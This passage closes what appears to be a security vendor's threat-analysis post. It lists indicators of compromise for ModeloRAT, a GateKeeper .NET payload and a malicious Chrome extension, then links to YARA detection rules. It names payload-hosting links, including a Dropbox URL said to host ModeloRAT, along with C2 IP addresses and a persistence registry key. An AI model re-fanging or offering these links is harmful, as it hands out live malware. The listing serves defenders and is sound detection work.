hxxp://temp[.]sh/utDKu/138d2a62b73e89fc4d09416bcefed27e139ae90016ba4493efc5fbf43b66acfa.exe

Unknown payload (aa.exe)

SHA256:

fbfce492d1aa458c0ccc8ce4611f0e2d00913c8d51b5016ce60a7f59db67de67

Core extensions script (background.js)

SHA256:

6399c686eba09584bbbb02f31d398ace333a2b57529059849ef97ce7c27752f4

GateKeeper .NET Payload (16933906614.dll)

170.168.103[.]208

ModeloRAT C2

158.247.252[.]178

ModeloRAT C2

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MonitoringService

Primary persistence mechanism for ModeloRAT


hxxps://www.dropbox[.]com/scl/fi/6gscgf35byvflw4y6x4i0/b1.zip?rlkey=bk2hvxvw53ggzhbjiftppej50&st=yyxnfu71&dl=1

Dropbox link hosting ModeloRAT 

SHA256:

c15f44d6abb3a2a882ffdc9b90f7bb5d1a233c0aa183eb765aa8bfba5832c8c6

ModeloRAT payload (modes.py)

CPCDKMJDDOCIKJDKBBEIAAFNPDBDAFMI_2025_1116_1842_0.crx


SHA256:

c46af9ae6ab0e7567573dbc950a8ffbe30ea848fac90cd15860045fe7640199c


Chrome extension file
alaynna6899@gmail.comRegistered email for the developer


Detection

GateKeeper Payload (YARA):

https://github.com/RussianPanda95/Yara-Rules/blob/main/KongTuke/gatekeeper_payload.yar

MintsLoader (YARA):

https://github.com/RussianPanda95/Yara-Rules/blob/main/KongTuke/MintsLoader.yar

ModeloRAT (YARA):

https://github.com/RussianPanda95/Yara-Rules/blob/main/KongTuke/ModeloRAT.yar










Categories
Threat Analysis
Summarize this postClose Speech Bubble
ChatGPTClaudePerplexityGoogle AI

See Huntress in action

Our platform combines a suite of powerful managed detection and response tools for endpoints and Microsoft 365 identities, science-backed security awareness training, and the expertise of our 24/7 Security Operations Center (SOC).

Book a Demo
Share
Facebook iconTwitter X iconLinkedin iconDownload icon
Glitch effect

You Might Also Like

  • PeerBlight Linux Backdoor Exploits React2Shell CVE-2025-55182

    Huntress is seeing threat actors exploit React2Shell (CVE-2025-55182) to deploy a Linux backdoor, a reverse proxy tunnel, and a Go-based post-exploitation implant.
  • From Custom Scripts to Commodity RATs: A Threat Actor’s Evolution to PureRAT

    Trace a threat actor's journey from custom Python stealers to a sophisticated commodity RAT. Learn how their tactics evolved and why this shift to .NET matters.
  • Fake Browser Updates Lead to BOINC Volunteer Computing Software

    Huntress has observed new behaviors in conjunction with the malware SocGholish. Read on to understand the implications of this threat and how you can better protect yourself.
  • The Great VM Escape: ESXi Exploitation in the Wild

    Huntress outlines a complex, multi-step attack designed to break out of guest VMs and target the ESXi hypervisor, using potential zero-day vulnerabilities and sneaky VSOCK communication.
  • Bullseye: A Story of a Targeted Cyberattack

    Dive into a cyber threat analysis that details a sneaky enabler of a targeted cyberattack: persistence.
  • LightSpy Malware Variant Targeting macOS

    There's a new variant of LightSpy malware targeting macOS. Here, Huntress' macOS researchers dive into the macOS variant of the LightSpy malware, after gaps in recent reports stating that the LightSpy malware strictly targets iOS.
  • Ave Maria and the Chambers of Warzone RAT

    Helping analysts develop a better understanding of the elastic search syntax.
  • Deobfuscating Files for Flags: Huntress CTF 2025 Retro

    11,000+ hackers—one epic challenge. See who the winners are and key insights from this year's massive Huntress Capture the Flag competition. Read the full breakdown!

Sign Up for Huntress Updates

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
Privacy • Terms
By submitting this form, you accept our Terms of Service & Privacy Policy
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Huntress Managed Security PlatformManaged EDRManaged EDR for macOSManaged EDR for LinuxManaged ITDRManaged SIEMManaged Security Awareness TrainingManaged ISPMManaged ESPMBook a Demo
PhishingComplianceBusiness Email CompromiseEducationFinanceHealthcareManufacturingState & Local Government
Managed Service ProvidersResellersIT & Security Teams24/7 SOCCase Studies
BlogResource CenterCybersecurity 101Upcoming EventsSupport Documentation
Our CompanyLeadershipNews & PressCareersContact Us
Huntress white logo

Protecting 215k+ customers like you with enterprise-grade protection.

Privacy PolicyCookie PolicyTerms of UseCookie Consent
Linkedin iconTwitter X iconYouTube iconInstagram icon
© 2025 Huntress All Rights Reserved.

Join the Hunt

Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.

By submitting this form, you accept our Terms of Service & Privacy Policy